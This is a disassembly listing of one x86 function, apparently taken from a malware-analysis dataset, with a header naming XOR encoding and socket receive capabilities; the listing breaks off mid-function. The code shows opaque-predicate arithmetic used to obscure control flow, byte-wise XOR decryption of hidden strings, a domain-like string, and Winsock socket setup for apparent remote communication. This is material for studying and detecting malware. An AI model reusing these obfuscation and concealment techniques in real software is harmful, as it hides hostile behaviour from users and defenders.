Function at 0x1005fee0
Capabilities:
Encode data using xor
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x170
mov esi, esp
mov eax, dword [ebp + 0x10]
mov dword [esi + 0x15c], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x160], eax
mov eax, dword [ebp + 8]
mov dword [esi + 0x164], eax
mov eax, dword [0x100d16b8]
xor eax, ebp
mov dword [esi + 0x168], eax
mov eax, dword [0x100d0ed0]
imul eax, dword [0x100d0ed4]
xor eax, 0x9e134739
add eax, 0xeff3954a
or eax, 0xc316c07c
sub eax, 0xdd08a80d
mov ecx, 0xb60efc10
xor edx, edx
div ecx
sub eax, 0xafef0205
and eax, 0x62d1c0dd
xor eax, 0x39f019b2
add eax, 0x5f4d7840
add eax, 0xc2c88d61
imul eax, eax, 0x5a37830c
and eax, 0xc152e4d
mov ecx, 0xf2d847b3
xor edx, edx
div ecx
xor eax, 0x93c5ff3c
xor eax, 0xe2f49b52
and eax, 0x7fc6329f
or eax, 0xb7b45482
and eax, 0xde11f8c9
or eax, 0x72e7a25d
or eax, 0x4a67c3b5
or eax, 0xa433a5
mov ecx, 0x55bc9531
xor edx, edx
div ecx
add eax, 0x71630c55
mov ecx, 0x8b0c5bbd
xor edx, edx
div ecx
and eax, 0x9fc13351
and eax, 0x20e0af11
sub eax, 0x15def47e
xor eax, 0x244a6fc7
imul eax, eax, 0xb8cca20a
xor eax, 0x706bd6d6
add eax, 0x63b43b32
or eax, 0xea7a9c1f
sub eax, 0x1ad47a18
add eax, 0xec47aeb8
xor eax, 0x96ee82c4
sub eax, 0x52aa98a1
mov ecx, 0xb867de18
xor edx, edx
div ecx
or eax, 0xa07e116c
imul eax, eax, 0xd3653b33
mov ecx, 0x7d54f913
xor edx, edx
div ecx
mov ecx, 0xd5c5c0e4
xor edx, edx
div ecx
xor eax, 0xff20b943
add eax, 0x6d9f6310
and eax, 0x6807ccbf
and eax, 0x2a3641d3
imul eax, eax, 0x35bcc7a6
or eax, 0xb2b19b5a
and eax, 0xf3816519
add eax, 0x3a4e5bcf
imul eax, eax, 0xf955c704
xor eax, 0x7d85a8e5
mov ecx, 0xea19c805
xor edx, edx
div ecx
mov ecx, 0x1265aaad
xor edx, edx
div ecx
imul eax, eax, 0xb8a2234c
imul eax, eax, 0xdb64ec7
and eax, 0xfbd9b50a
add eax, 0xa7df636b
imul eax, eax, 0xa38428d3
or eax, 0x88a12c94
add eax, 0xba308d2f
add eax, 0x1953cfce
mov ecx, 0x80bc15fa
xor edx, edx
div ecx
xor eax, 0x2c453b8e
xor eax, 0x2351e82f
add eax, 0x3d652ede
or eax, 0x9c5d03f8
xor eax, 0xe800c554
mov ecx, 0xdf5ac737
xor edx, edx
div ecx
mov ecx, 0x44334d77
xor edx, edx
div ecx
xor eax, 0x70de99b9
or eax, 0x8c7614ee
or eax, 0x97b46a3
cmp eax, 0xda3db072
jb 0x10063aef
mov eax, dword [0x100d0ed8]
sub eax, dword [0x100d0edc]
mov ecx, 0x1772af2a
xor edx, edx
div ecx
add eax, 0x24d02aca
mov ecx, 0x3f407890
xor edx, edx
div ecx
mov ecx, 0xb1036ceb
xor edx, edx
div ecx
or eax, 0x44b2680e
add eax, 0xdfa29359
and eax, 0xd24afb81
add eax, 0x2f934b50
or eax, 0xf71a0a1
imul eax, eax, 0xd34fcb6c
and eax, 0x40f4efd3
and eax, 0x20b56b91
sub eax, 0x46cc9e3c
xor eax, 0x748aef56
and eax, 0xda2fcb61
mov ecx, 0x4fa2c6c5
xor edx, edx
div ecx
xor eax, 0xd84b71d4
sub eax, 0xc3a7dfde
mov ecx, 0x46b0220f
xor edx, edx
div ecx
imul eax, eax, 0xcd7b18fe
mov ecx, 0x26479b87
xor edx, edx
div ecx
sub eax, 0x3a254019
sub eax, 0x2fa479a9
and eax, 0x6ea46fb0
mov ecx, 0x817e59b3
xor edx, edx
div ecx
or eax, 0xc77bea48
xor eax, 0x21e5a32a
imul eax, eax, 0xab97cc38
mov ecx, 0x4609c9cd
xor edx, edx
div ecx
and eax, 0x66cb20b9
imul eax, eax, 0xe07a1609
or eax, 0xf38ce7ad
sub eax, 0x3e30a2f0
or eax, 0x17321a
mov ecx, 0xd5856eb5
xor edx, edx
div ecx
xor eax, 0x7f159f9
imul eax, eax, 0xeec8ec9
or eax, 0xf401f63f
mov ecx, 0x92c55f
xor edx, edx
div ecx
mov ecx, 0x772cc3ae
xor edx, edx
div ecx
sub eax, 0xd9d3d719
and eax, 0x9f8a72c
imul eax, eax, 0x1b547098
and eax, 0x98ecd176
mov ecx, 0x699c69b0
xor edx, edx
div ecx
mov ecx, 0x2fdf12d4
xor edx, edx
div ecx
imul eax, eax, 0xce6e3774
imul eax, eax, 0x6d24dd5f
sub eax, 0x7218c5ab
add eax, 0x7e969f8a
or eax, 0x24ffd04
add eax, 0xc29b0810
mov ecx, 0x92f81f2e
xor edx, edx
div ecx
imul eax, eax, 0xd5cea32a
imul eax, eax, 0x44a304db
mov ecx, 0xe974ef26
xor edx, edx
div ecx
xor eax, 0xa1d287b8
imul eax, eax, 0x78cd4051
xor eax, 0x1dd7a349
xor eax, 0x9492ea8b
imul eax, eax, 0xe3fcf98c
add eax, 0x6c04028e
mov ecx, 0x906c11e0
xor edx, edx
div ecx
imul eax, eax, 0x7c6c74c5
or eax, 0xac9023e3
add eax, 0xccfc595c
sub eax, 0x5490132f
add eax, 0x73ce284a
and eax, 0x25a69fcd
add eax, 0x5ff6f90f
and eax, 0x53d4e76c
or eax, 0xe7baa745
cmp dword [0x100d2290], 0
sete cl
mov byte [esi + 0x15b], cl
cmp eax, 0x1532be6a
jb 0x100600d0
mov al, byte [esi + 0x15b]
test al, 1
jne 0x100602be
jmp 0x10060912
mov al, byte [0x100cf115]
xor al, 0x9b
mov byte [0x100cf125], al
mov al, byte [0x100cf116]
xor al, 0xf5
mov byte [0x100cf126], al
mov al, byte [0x100cf117]
xor al, 0x80
mov byte [0x100cf127], al
mov al, byte [0x100cf118]
xor al, 0xb3
mov byte [0x100cf128], al
mov al, byte [0x100cf119]
xor al, 0x8b
mov byte [0x100cf129], al
mov al, byte [0x100cf11a]
xor al, 0x2a
mov byte [0x100cf12a], al
mov al, byte [str.3iK]
xor al, 0x49
mov byte [0x100cf12b], al
mov al, byte [0x100cf11c]
xor al, 0x1d
mov byte [0x100cf12c], al
mov al, byte [0x100cf11d]
xor al, 0x50
mov byte [0x100cf12d], al
mov al, byte [0x100cf11e]
xor al, 0x7a
mov byte [0x100cf12e], al
mov al, byte [0x100cf11f]
xor al, 0xce
mov byte [0x100cf12f], al
mov al, byte [0x100cf120]
xor al, 0x9d
mov byte [0x100cf130], al
mov al, byte [0x100cf121]
xor al, 0x41
mov byte [0x100cf131], al
mov al, byte [0x100cf122]
xor al, 0xb3
mov byte [0x100cf132], al
mov al, byte [0x100cf123]
xor al, 0x5d
mov byte [0x100cf133], al
mov al, byte [0x100cf124]
xor al, 0x6e
mov byte [0x100cf134], al
mov al, byte [0x100cf14d]
xor al, 0x51
mov byte [0x100cf154], al
mov al, byte [0x100cf14e]
xor al, 0x20
mov byte [0x100cf155], al
mov al, byte [0x100cf14f]
xor al, 0xdc
mov byte [0x100cf156], al
mov al, byte [0x100cf150]
xor al, 7
mov byte [0x100cf157], al
mov al, byte [0x100cf151]
xor al, 0x39
mov byte [0x100cf159], al
mov al, byte [0x100cf152]
xor al, 0xd7
mov byte [0x100cf15b], al
mov al, byte [0x100cf153]
xor al, 0x4d
mov byte [0x100cf15c], al
mov al, byte [0x100cf135]
xor al, 0x71
mov byte [0x100cf141], al
mov al, byte [0x100cf136]
xor al, 0xf3
mov byte [0x100cf142], al
mov al, byte [0x100cf137]
xor al, 0x50
mov byte [0x100cf143], al
mov al, byte [0x100cf138]
xor al, 0x41
mov byte [0x100cf144], al
mov al, byte [0x100cf139]
xor al, 0x32
mov byte [0x100cf145], al
mov al, byte [0x100cf13a]
xor al, 0xfe
mov byte [0x100cf146], al
mov al, byte [0x100cf13b]
xor al, 0xa5
mov byte [0x100cf147], al
mov al, byte [0x100cf13c]
xor al, 0xbe
mov byte [0x100cf148], al
mov al, byte [0x100cf13d]
xor al, 0x67
mov byte [0x100cf149], al
mov al, byte [0x100cf13e]
xor al, 0x77
mov byte [0x100cf14a], al
mov al, byte [str.wcYv]
xor al, 0x18
mov byte [str.C8N], al
mov al, byte [0x100cf140]
xor al, 0x63
mov byte [0x100cf14c], al
mov al, byte [0x100cf0ff]
xor al, 0xfe
mov byte [0x100cf10a], al
mov al, byte [0x100cf100]
xor al, 0x6d
mov byte [0x100cf10b], al
mov al, byte [0x100cf101]
xor al, 0x44
mov byte [0x100cf10c], al
mov al, byte [0x100cf102]
xor al, 0xcf
mov byte [0x100cf10d], al
mov al, byte [0x100cf103]
xor al, 0xa0
mov byte [0x100cf10e], al
mov al, byte [0x100cf104]
xor al, 0xfe
mov byte [0x100cf10f], al
mov al, byte [0x100cf105]
xor al, 0xe7
mov byte [0x100cf110], al
mov al, byte [0x100cf106]
xor al, 0x3c
mov byte [0x100cf111], al
mov al, byte [0x100cf107]
xor al, 0x62
mov byte [0x100cf112], al
mov al, byte [0x100cf108]
xor al, 0xe0
mov byte [0x100cf113], al
mov al, byte [0x100cf109]
xor al, 0xcd
mov byte [0x100cf114], al
mov al, byte [0x100cf172]
xor al, 0x7d
mov byte [0x100cf17a], al
mov al, byte [0x100cf173]
xor al, 0x11
mov byte [0x100cf17b], al
mov al, byte [0x100cf174]
xor al, 0x67
mov byte [0x100cf17d], al
mov al, byte [0x100cf175]
xor al, 0xaa
mov byte [0x100cf17f], al
mov al, byte [0x100cf176]
xor al, 0x8e
mov byte [0x100cf180], al
mov al, byte [0x100cf177]
xor al, 0xec
mov byte [0x100cf181], al
mov al, byte [0x100cf178]
xor al, 0xe4
mov byte [0x100cf182], al
mov al, byte [0x100cf179]
xor al, 0xae
mov byte [0x100cf183], al
mov al, byte [0x100cf1e6]
xor al, 0x3b
mov byte [0x100cf1ed], al
mov al, byte [0x100cf1e7]
xor al, 0x5b
mov byte [0x100cf1ee], al
mov al, byte [0x100cf1e8]
xor al, 0xc8
mov byte [0x100cf1ef], al
mov al, byte [0x100cf1e9]
xor al, 0x34
mov byte [0x100cf1f0], al
mov al, byte [0x100cf1ea]
xor al, 0xe4
mov byte [0x100cf1f1], al
mov al, byte [0x100cf1eb]
xor al, 0x1f
mov byte [0x100cf1f2], al
mov al, byte [0x100cf1ec]
xor al, 0xa4
mov byte [0x100cf1f3], al
mov al, byte [0x100cf15e]
xor al, 0xcf
mov byte [0x100cf167], al
mov al, byte [0x100cf15f]
xor al, 0xa3
mov byte [0x100cf169], al
mov al, byte [0x100cf160]
xor al, 0x32
mov byte [0x100cf16a], al
mov al, byte [0x100cf161]
xor al, 0x30
mov byte [0x100cf16b], al
mov al, byte [0x100cf162]
xor al, 0x93
mov byte [0x100cf16c], al
mov al, byte [0x100cf163]
xor al, 0xd1
mov byte [0x100cf16e], al
mov al, byte [0x100cf164]
xor al, 0x1e
mov byte [0x100cf16f], al
mov al, byte [0x100cf165]
xor al, 0x67
mov byte [0x100cf170], al
mov al, byte [0x100cf166]
xor al, 0x93
mov byte [0x100cf171], al
mov al, byte [0x100cf1f5]
xor al, 0x59
mov byte [0x100cf1f8], al
mov al, byte [0x100cf1f6]
xor al, 0x62
mov byte [0x100cf1fa], al
mov al, byte [0x100cf1f7]
xor al, 0x3a
mov byte [0x100cf1fb], al
mov al, byte [0x100cf214]
xor al, 0xdb
mov byte [0x100cf218], al
mov al, byte [0x100cf215]
xor al, 0xcf
mov byte [0x100cf219], al
mov al, byte [0x100cf216]
xor al, 0xbb
mov byte [0x100cf21a], al
mov al, byte [0x100cf217]
xor al, 0xfb
mov byte [0x100cf21b], al
mov al, byte [0x100cf19d]
xor al, 0xfe
mov byte [0x100cf1a3], al
mov al, byte [0x100cf19e]
xor al, 0x10
mov byte [0x100cf1a4], al
mov al, byte [0x100cf19f]
xor al, 0x9b
mov byte [0x100cf1a5], al
mov al, byte [0x100cf1a0]
xor al, 0x72
mov byte [0x100cf1a8], al
mov al, byte [0x100cf1a1]
xor al, 0x86
mov byte [0x100cf1a9], al
mov al, byte [0x100cf1a2]
xor al, 8
mov byte [0x100cf1aa], al
mov al, byte [0x100cf1c5]
xor al, 0x3e
mov byte [0x100cf1ca], al
mov al, byte [0x100cf1c6]
xor al, 0xd6
mov byte [0x100cf1cb], al
mov al, byte [0x100cf1c7]
xor al, 0x8f
mov byte [0x100cf1cc], al
mov al, byte [0x100cf1c8]
xor al, 0x8f
mov byte [0x100cf1cd], al
mov al, byte [0x100cf1c9]
xor al, 0xc4
mov byte [0x100cf1ce], al
mov al, byte [0x100cf184]
xor al, 0x3c
mov byte [0x100cf190], al
mov al, byte [0x100cf185]
xor al, 0x5d
mov byte [0x100cf191], al
mov al, byte [0x100cf186]
xor al, 0xf
mov byte [0x100cf192], al
mov al, byte [0x100cf187]
xor al, 0x99
mov byte [0x100cf193], al
mov al, byte [0x100cf188]
xor al, 0xeb
mov byte [0x100cf194], al
mov al, byte [0x100cf189]
xor al, 0xd2
mov byte [0x100cf195], al
mov al, byte [0x100cf18a]
xor al, 3
mov byte [0x100cf196], al
mov al, byte [0x100cf18b]
xor al, 0x94
mov byte [0x100cf197], al
mov al, byte [0x100cf18c]
xor al, 0xaa
mov byte [0x100cf199], al
mov al, byte [0x100cf18d]
xor al, 0x89
mov byte [0x100cf19a], al
mov al, byte [0x100cf18e]
xor al, 0x8c
mov byte [0x100cf19b], al
mov al, byte [0x100cf18f]
xor al, 0x86
mov byte [0x100cf19c], al
mov al, byte [0x100cf1cf]
xor al, 0x98
mov byte [0x100cf1da], al
mov al, byte [0x100cf1d0]
xor al, 0xc9
mov byte [0x100cf1db], al
mov al, byte [0x100cf1d1]
xor al, 0x3a
mov byte [0x100cf1dc], al
mov al, byte [0x100cf1d2]
xor al, 0xd5
mov byte [0x100cf1dd], al
mov al, byte [0x100cf1d3]
xor al, 0x8d
mov byte [0x100cf1df], al
mov al, byte [0x100cf1d4]
xor al, 0xea
mov byte [0x100cf1e0], al
mov al, byte [0x100cf1d5]
xor al, 0x99
mov byte [0x100cf1e1], al
mov al, byte [0x100cf1d6]
xor al, 0xdf
mov byte [0x100cf1e2], al
mov al, byte [0x100cf1d7]
xor al, 0xff
mov byte [0x100cf1e3], al
mov al, byte [0x100cf1d8]
xor al, 0x41
mov byte [0x100cf1e4], al
mov al, byte [0x100cf1d9]
xor al, 0xb6
mov byte [0x100cf1e5], al
mov al, byte [0x100cf1ab]
xor al, 0x73
mov byte [0x100cf1b1], al
mov al, byte [0x100cf1ac]
xor al, 0x6f
mov byte [0x100cf1b2], al
mov al, byte [0x100cf1ad]
xor al, 0xa4
mov byte [0x100cf1b3], al
mov al, byte [0x100cf1ae]
xor al, 0x39
mov byte [0x100cf1b4], al
mov al, byte [0x100cf1af]
xor al, 0xf6
mov byte [0x100cf1b5], al
mov al, byte [0x100cf1b0]
xor al, 0xf1
mov byte [0x100cf1b6], al
mov al, byte [0x100cf1fd]
xor al, 0x53
mov byte [0x100cf208], al
mov al, byte [0x100cf1fe]
xor al, 0xcf
mov byte [0x100cf209], al
mov al, byte [0x100cf1ff]
xor al, 0x22
mov byte [0x100cf20a], al
mov al, byte [0x100cf200]
xor al, 0x6c
mov byte [0x100cf20b], al
mov al, byte [0x100cf201]
xor al, 0x7a
mov byte [str._vc7], al
mov al, byte [str.N9syv_a_]
xor al, 0x3a
mov byte [0x100cf20d], al
mov al, byte [0x100cf203]
xor al, 0x4d
mov byte [0x100cf20e], al
mov al, byte [0x100cf204]
xor al, 3
mov byte [0x100cf20f], al
mov al, byte [0x100cf205]
xor al, 0x43
mov byte [0x100cf210], al
mov al, byte [0x100cf206]
xor al, 0x59
mov byte [0x100cf211], al
mov al, byte [0x100cf207]
xor al, 0x28
mov byte [0x100cf212], al
mov al, byte [0x100cf1b7]
xor al, 0x11
mov byte [0x100cf1be], al
mov al, byte [0x100cf1b8]
xor al, 0xea
mov byte [0x100cf1bf], al
mov al, byte [0x100cf1b9]
xor al, 0x5b
mov byte [0x100cf1c0], al
mov al, byte [0x100cf1ba]
xor al, 0x75
mov byte [0x100cf1c1], al
mov al, byte [0x100cf1bb]
xor al, 0x16
mov byte [0x100cf1c2], al
mov al, byte [0x100cf1bc]
xor al, 0x3a
mov byte [0x100cf1c3], al
mov al, byte [0x100cf1bd]
xor al, 0xe1
mov byte [0x100cf1c4], al
mov eax, dword [0x100d0ee0]
xor edx, edx
div dword [0x100d0ee4]
add eax, 0xff79b96b
xor eax, 0x391ab4c3
xor eax, 0xa3b569da
mov ecx, 0xe5699781
xor edx, edx
div ecx
imul eax, eax, 0xa2964afd
mov ecx, 0x306e674c
xor edx, edx
div ecx
imul eax, eax, 0x2bad5514
or eax, 0xb0672884
mov ecx, 0xc492606
xor edx, edx
div ecx
mov ecx, 0xeb7a52c8
xor edx, edx
div ecx
sub eax, 0x5e7d6dd5
and eax, 0x39119bb7
sub eax, 0x243db98d
and eax, 0x799fbf71
or eax, 0xb8441bc0
imul eax, eax, 0xae7091db
imul eax, eax, 0x58ccab19
and eax, 0xbaed2f67
imul eax, eax, 0xb356832a
mov ecx, 0xdb3593e3
xor edx, edx
div ecx
and eax, 0x39aaf432
sub eax, 0x209302c3
add eax, 0xc27d50b3
xor eax, 0x33cf1bef
and eax, 0xa87e6baf
add eax, 0xd768ee4e
imul eax, eax, 0x5fd4676e
imul eax, eax, 0x97c17549
add eax, 0x1daf20
or eax, 0x6b5e1b8f
or eax, 0x688bfd4a
add eax, 0xceff740a
sub eax, 0x4e26496b
add eax, 0xd2123a14
xor eax, 0xe9a2b103
xor eax, 0x54672dbb
or eax, 0x94cc3531
imul eax, eax, 0xaa16d235
sub eax, 0xf31c090b
and eax, 0xf12a08d9
add eax, 0x1fa6a913
imul eax, eax, 0xda68587
add eax, 0xaa514069
sub eax, 0xdb8c60a5
sub eax, 0x22991194
xor eax, 0xecb344e6
or eax, 0x7b3f9142
and eax, 0xf0b0ca3d
xor eax, 0x4c9e25f4
imul eax, eax, 0x78f28e6f
mov ecx, 0x6573451e
xor edx, edx
div ecx
sub eax, 0xcf86fc8f
xor eax, 0xb07cb1e9
sub eax, 0x4ff4adfb
or eax, 0x23d0ed16
sub eax, 0xedd530b
and eax, 0xa3e26ac7
imul eax, eax, 0x8a310714
add eax, 0x166af2e8
add eax, 0x18d181a
xor eax, 0x3ee02280
xor eax, 0x7b3dd63
xor eax, 0xf2eae70e
imul eax, eax, 0xbbfc526d
add eax, 0xcbfb1a70
mov ecx, 0x4ddfcbc9
xor edx, edx
div ecx
and eax, 0x6af1f4f
mov ecx, 0x99f7b00e
xor edx, edx
div ecx
and eax, 0x4d9aa082
add eax, 0xe17865f4
add eax, 0xf0977642
mov ecx, 0x3bfb5225
xor edx, edx
div ecx
cmp eax, 0x50625c8c
ja 0x10063af9
mov eax, 0x36802c3
mov dword [esi + 0x154], eax
mov dword [0x100d2290], 1
push eax
mov eax, esp
mov dword [esi + 0x58], eax
push eax
mov ecx, esp
mov eax, ecx
mov dword [esi + 0x5c], eax
push eax
mov eax, esp
mov dword [esi + 0x128], eax
mov dword [esi + 0x60], eax
push eax
mov edi, esp
mov eax, edi
mov dword [esi + 0x64], eax
sub esp, 0x10
mov ebx, esp
mov eax, ebx
mov dword [esi + 0x138], eax
sub esp, 0xc
mov edx, esp
mov eax, edx
mov dword [esi + 0x144], eax
sub esp, 0x34
mov eax, esp
mov dword [esi + 0x12c], eax
mov dword [esi + 0x68], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x130], eax
mov dword [esi + 0x6c], eax
sub esp, 8
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x13c], eax
mov esp, eax
push eax
mov eax, esp
mov dword [esi + 0x148], eax
push eax
mov eax, esp
mov dword [esi + 0x134], eax
push eax
mov eax, esp
mov dword [esi + 0x14c], eax
push eax
mov eax, esp
mov dword [esi + 0x150], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x70], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x74], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x78], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x7c], eax
push eax
mov eax, esp
mov dword [esi + 0x80], eax
push eax
mov eax, esp
mov dword [esi + 0x84], eax
push eax
mov eax, esp
mov dword [esi + 0x88], eax
push eax
mov eax, esp
mov dword [esi + 0x8c], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x90], eax
push eax
mov eax, esp
mov dword [esi + 0x94], eax
push eax
mov eax, esp
mov dword [esi + 0x98], eax
sub esp, 0x190
mov eax, esp
mov dword [esi + 0x9c], eax
push eax
mov eax, esp
mov dword [esi + 0xa0], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0xa4], eax
sub esp, 0x20
mov eax, esp
mov dword [esi + 0xa8], eax
push eax
mov eax, esp
mov dword [esi + 0xac], eax
push eax
mov eax, esp
mov dword [esi + 0xb0], eax
push eax
mov eax, esp
mov dword [esi + 0xb4], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0xb8], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0xbc], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0xc0], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0xc4], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xc8], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0xcc], eax
push eax
mov eax, esp
mov dword [esi + 0xd0], eax
push eax
mov eax, esp
mov dword [esi + 0xd4], eax
push eax
mov eax, esp
mov dword [esi + 0xd8], eax
push eax
mov eax, esp
mov dword [esi + 0xdc], eax
push eax
mov eax, esp
mov dword [esi + 0xe0], eax
push eax
mov eax, esp
mov dword [esi + 0xe4], eax
push eax
mov eax, esp
mov dword [esi + 0xe8], eax
push eax
mov eax, esp
mov dword [esi + 0xec], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0xf0], eax
push eax
mov eax, esp
mov dword [esi + 0xf4], eax
push eax
mov eax, esp
mov dword [esi + 0xf8], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xfc], eax
push eax
mov eax, esp
mov dword [esi + 0x100], eax
push eax
sub esp, 0xffc
mov eax, esp
mov dword [esi + 0x104], eax
push eax
mov eax, esp
mov dword [esi + 0x108], eax
push eax
mov eax, esp
mov dword [esi + 0x10c], eax
push eax
mov eax, esp
mov dword [esi + 0x110], eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x114], eax
push eax
mov eax, esp
mov dword [esi + 0x118], eax
push eax
mov eax, esp
mov dword [esi + 0x11c], eax
push eax
mov eax, esp
mov dword [esi + 0x120], eax
push eax
mov eax, esp
mov dword [esi + 0x124], eax
mov eax, dword [esi + 0x15c]
mov dword [ecx], eax
mov eax, dword [esi + 0x128]
mov ecx, dword [esi + 0x160]
mov dword [eax], ecx
mov ecx, dword [esi + 0x12c]
mov eax, dword [esi + 0x164]
mov dword [edi], eax
mov eax, dword [esi + 0x130]
mov edi, dword [esi + 0x134]
movsd xmm0, qword [0x100cf195]
movsd qword [ebx + 5], xmm0
movsd xmm0, qword [0x100cf190]
movsd qword [ebx], xmm0
mov ebx, dword [0x100cf111]
mov dword [edx + 7], ebx
movsd xmm0, qword [0x100cf10a]
movsd qword [edx], xmm0
movups xmm0, xmmword [0x100c40e8]
movups xmmword [ecx + 0x20], xmm0
movups xmm0, xmmword [0x100c40d8]
movups xmmword [ecx + 0x10], xmm0
movups xmm0, xmmword [str.Xk6x41683.org]
movups xmmword [ecx], xmm0
mov word [ecx + 0x30], 0
movups xmm0, xmmword [0x100cf125]
movups xmmword [eax], xmm0
call fcn.10059c90
mov ecx, dword [esi + 0x138]
mov ebx, eax
mov eax, dword [esi + 0x13c]
mov dword [esi + 0x140], ebx
mov ebx, edx
mov edx, dword [esi + 0x140]
mov dword [eax + 4], ebx
mov dword [eax], edx
mov edx, dword [eax]
mov ebx, dword [eax + 4]
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], ebx
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.1004f750
mov ecx, dword [esi + 0x144]
add esp, 0xc
mov edx, eax
mov eax, dword [esi + 0x148]
mov dword [eax], edx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], ecx
call eax
mov edx, dword [esi + 0x14c]
mov ecx, dword [esi + 0x150]
mov ebx, eax
mov eax, dword [esi + 0x154]
mov dword [edi], ebx
mov dword [edx], 0
mov dword [ecx], edx
mov ecx, dword [ecx]
cmp dword [ecx], 0
setne cl
mov byte [esi + 0x15a], cl
cmp eax, 0x80ea9c82
je 0x10063af9
mov al, byte [esi + 0x15a]
test al, 1
jne 0x10061805
jmp 0x10060e52
mov edi, dword [esi + 0x78]
mov ebx, dword [esi + 0x74]
sub esp, 8
mov eax, esp
mov dword [eax + 4], 0x24
mov dword [eax], 0x20
call fcn.1004c0f0
mov ecx, dword [esi + 0x70]
mov edx, dword [esi + 0x7c]
add esp, 8
mov eax, dword [0x100cf16e]
mov dword [ecx + 7], eax
movsd xmm0, qword [0x100cf167]
movsd qword [ecx], xmm0
mov eax, dword [0x100cf149]
mov dword [ebx + 8], eax
mov eax, dword [esi + 0x134]
movsd xmm0, qword [0x100cf141]
movsd qword [ebx], xmm0
mov bx, word [0x100cf182]
mov word [edi + 8], bx
movsd xmm0, qword [0x100cf17a]
movsd qword [edi], xmm0
mov di, word [0x100cf15c]
mov word [edx + 8], di
movsd xmm0, qword [0x100cf154]
movsd qword [edx], xmm0
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.1004f750
mov edx, dword [esi + 0x80]
mov ecx, dword [esi + 0x74]
add esp, 0xc
mov edi, eax
mov eax, dword [esi + 0x134]
mov dword [edx], edi
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.1004f750
mov edx, dword [esi + 0x84]
mov ecx, dword [esi + 0x78]
add esp, 0xc
mov edi, eax
mov eax, dword [esi + 0x134]
mov dword [edx], edi
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.1004f750
mov edx, dword [esi + 0x88]
mov ecx, dword [esi + 0x7c]
add esp, 0xc
mov edi, eax
mov eax, dword [esi + 0x134]
mov dword [edx], edi
mov edx, dword [eax]
xor edi, edi
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], edi
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.1004f750
mov ecx, dword [esi + 0x8c]
add esp, 0xc
mov edx, eax
mov eax, dword [esi + 0x90]
mov dword [ecx], edx
mov ecx, dword [0x100cf1ed]
mov dword [eax], ecx
mov ecx, dword [0x100cf1f1]
mov dword [eax + 4], ecx
sub esp, 4
mov dword [esp], eax
call fcn.10059cb0
add esp, 4
cmp eax, 0
je 0x10060ffb
mov ecx, dword [esi + 0x68]
mov edi, dword [esi + 0x94]
mov dword [edi], 5
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.1009a000
mov edx, dword [esi + 0x68]
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x98]
add ecx, 1
sub ecx, dword [edi]
mov dword [eax], ecx
mov eax, dword [eax]
mov ecx, edx
add ecx, dword [edi]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1009a090
add esp, 0xc
mov eax, dword [esi + 0x80]
mov ecx, dword [esi + 0x9c]
sub esp, 8
mov dword [esp], 0x202
mov dword [esp + 4], ecx
call dword [eax]
mov ecx, dword [esi + 0xa0]
mov eax, dword [esi + 0xa8]
mov dword [ecx], 1
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20
call fcn.1007cb30
mov eax, dword [esi + 0xa8]
add esp, 0xc
mov dword [eax + 4], 2
mov dword [eax + 8], 1
mov eax, dword [0x100d0ef0]
or eax, dword [0x100d0ef4]
sub eax, 0x9d74816e
mov ecx, 0xa5c2d4d1
xor edx, edx
div ecx
or eax, 0xd751ca96
sub eax, 0xe6211518
or eax, 0xf1b393f
mov ecx, 0x33b1137e
xor edx, edx
div ecx
mov ecx, 0x948b7eb9
xor edx, edx
div ecx
mov ecx, 0xb43048ac
xor edx, edx
div ecx
mov ecx, 0x776dd722
xor edx, edx
div ecx
and eax, 0x1f2967f5
sub eax, 0x88a674ef
add eax, 0xa351e890
imul eax, eax, 0x1d168876
sub eax, 0x99c5662d
xor eax, 0x5165a339
imul eax, eax, 0xf5412f1a
and eax, 0x476d3545
xor eax, 0xa6e0306
sub eax, 0x5fc0cb13
sub eax, 0xff640297
add eax, 0xea18f0c1
xor eax, 0xc6c5dc34
sub eax, 0x3b52b7a6
and eax, 0x87f7807c
or eax, 0x1355bc81
or eax, 0x582db5a1
and eax, 0xcf3497c2
imul eax, eax, 0x3d125c2c
and eax, 0x66d8523a
add eax, 0x61180dea
and eax, 0x12151e71
or eax, 0x4d7bf0ac
sub eax, 0xc314cddf
sub eax, 0x2e0d5f1d
and eax, 0x479b2df1
sub eax, 0x9b766ca3
sub eax, 0x5c10b128
xor eax, 0xdb8c2523
and eax, 0x8e88bd2
imul eax, eax, 0xba9c5f40
imul eax, eax, 0x3ab50e6b
or eax, 0x4024040c
xor eax, 0xe7cc060a
mov ecx, 0xab7aef29
